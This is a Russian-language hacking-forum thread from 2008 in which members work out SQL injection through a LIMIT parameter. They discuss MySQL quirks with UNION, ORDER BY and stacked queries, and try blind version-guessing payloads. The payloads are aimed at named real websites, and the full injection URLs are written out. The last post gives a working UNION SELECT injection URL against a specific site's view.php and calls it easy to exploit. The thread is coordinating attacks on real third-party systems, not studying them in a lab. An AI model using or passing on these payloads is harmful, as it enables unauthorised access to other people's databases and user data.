HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 12.11.2008, 19:32
bons
Участник форума
Регистрация: 20.12.2007
Сообщений: 295
Провел на форуме:
1777055

Репутация: 347
По умолчанию

в mysql нельзя выполнять несколько запросов, разделяя их ;
 
Ответить с цитированием

  #2  
Старый 12.11.2008, 20:54
truelamer
Участник форума
Регистрация: 06.11.2007
Сообщений: 143
Провел на форуме:
350782

Репутация: 81
По умолчанию

; если не ошибаюсь означает конец запроса, проправьте если ошибаюсь
 
Ответить с цитированием

  #3  
Старый 12.11.2008, 21:20
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
По умолчанию

в MySQL использовать UNION после ORDER нельзя:
SELECT 1 ORDER BY 1 LIMIT 1 UNION SELECT 1
->
Incorrect usage of UNION and ORDER BY
но просто с LIMIT можно:
SELECT 1 LIMIT 1 UNION SELECT 1;
->
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
 
Ответить с цитированием

  #4  
Старый 12.11.2008, 21:58
truelamer
Участник форума
Регистрация: 06.11.2007
Сообщений: 143
Провел на форуме:
350782

Репутация: 81
По умолчанию

2prescott и почему же тогда в данном случае не работает?
 
Ответить с цитированием

  #5  
Старый 12.11.2008, 22:02
prescott
Участник форума
Регистрация: 28.07.2008
Сообщений: 158
Провел на форуме:
728470

Репутация: 115
По умолчанию

Цитата:
Сообщение от truelamer  
2prescott и почему же тогда в данном случае не работает?
Я думаю что в случае с formz.ru стоит другой сервер базы данных, поэтому и прошу помощи ачатовцев. С распространенными БД я сам могу в большинстве случаев справиться, тут просто какая то некандиция...

Например такой запрос прокатывает, следовательно ; для этой БД означает конец запроса, ошибки ведь не возникает, заметь!

Код:
http://formz.ru/nb/public/faq/view?table.question_list.limit=2;%20select%201--
А если вместо точки с запятой поставить например дефис, вылетает критическая ошибка.

Последний раз редактировалось prescott; 12.11.2008 в 22:06..
 
Ответить с цитированием

  #6  
Старый 12.11.2008, 22:04
truelamer
Участник форума
Регистрация: 06.11.2007
Сообщений: 143
Провел на форуме:
350782

Репутация: 81
По умолчанию

2prescott

почему тут не получается? вроде все как ты описывал, помоги разобраться

http://www.contactphoto.com/archive.php?search=&limit=1

вроде тогда один из двух вариантов должен был сработать

http://www.contactphoto.com/archive.php?search=&limit=1,2*if(ascii(substr(vers ion(),1,1))=34,1,2)/*

или

http://www.contactphoto.com/archive.php?search=&limit=1,2*if(ascii(substr(vers ion(),1,1))=35,1,2)/*

Последний раз редактировалось truelamer; 12.11.2008 в 22:09..
 
Ответить с цитированием

  #7  
Старый 12.11.2008, 22:11
prescott
Участник форума
Регистрация: 28.07.2008
Сообщений: 158
Провел на форуме:
728470

Репутация: 115
По умолчанию

Цитата:
Сообщение от truelamer  
2prescott

почему тут не получается? вроде все как ты описывал, помоги разобраться

http://www.contactphoto.com/archive.php?search=&limit=1

вроде тогда один из двух вариантов должен был сработать

http://www.contactphoto.com/archive.php?search=&limit=1,2*if(ascii(substr(vers ion(),1,1))=34,1,2)/*

или

http://www.contactphoto.com/archive.php?search=&limit=1,2*if(ascii(substr(vers ion(),1,1))=35,1,2)/*
Потомучто это не mysql и не mssql, ибо запрос http://www.contactphoto.com/archive.php?search=&limit=1,2-- ругается на --, что для них должно однозначно трактоваться как комментарий.

UPD: был не прав, ошибка пишет что это действительно mysql...

Последний раз редактировалось prescott; 12.11.2008 в 22:14..
 
Ответить с цитированием

  #8  
Старый 12.11.2008, 22:09
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
По умолчанию

@prescott
подзапросы после лимита или в его аргументе нельзя использовать, можно только добавить UNION SELECT и то при условии, что перед лимитом нет ORDER BY
Цитата:
Если вернуло пять записей - угадал версию, если десять - не угадал. Пишешь сплоит который перебирает посимвольно и дело в шляпе.
не будет так работать, даже такой запрос возвращает ошибку:
select 1 order by 1 limit 1,5*1;
 
Ответить с цитированием

  #9  
Старый 12.11.2008, 22:13
truelamer
Участник форума
Регистрация: 06.11.2007
Сообщений: 143
Провел на форуме:
350782

Репутация: 81
По умолчанию

это не mssql

тема закрыта, если есть order by то можно не расчитывать на иньекцию.
 
Ответить с цитированием

  #10  
Старый 12.11.2008, 22:25
prescott
Участник форума
Регистрация: 28.07.2008
Сообщений: 158
Провел на форуме:
728470

Репутация: 115
По умолчанию

Цитата:
Сообщение от truelamer  
это не mssql

тема закрыта, если есть order by то можно не расчитывать на иньекцию.
кстати, если тебе всетаки нужен тот сайт, то инъекция есть тут, да и крутится легко:

Код:
http://www.contactphoto.com/view.php?sec=programs&eventid=1290+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4/*
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.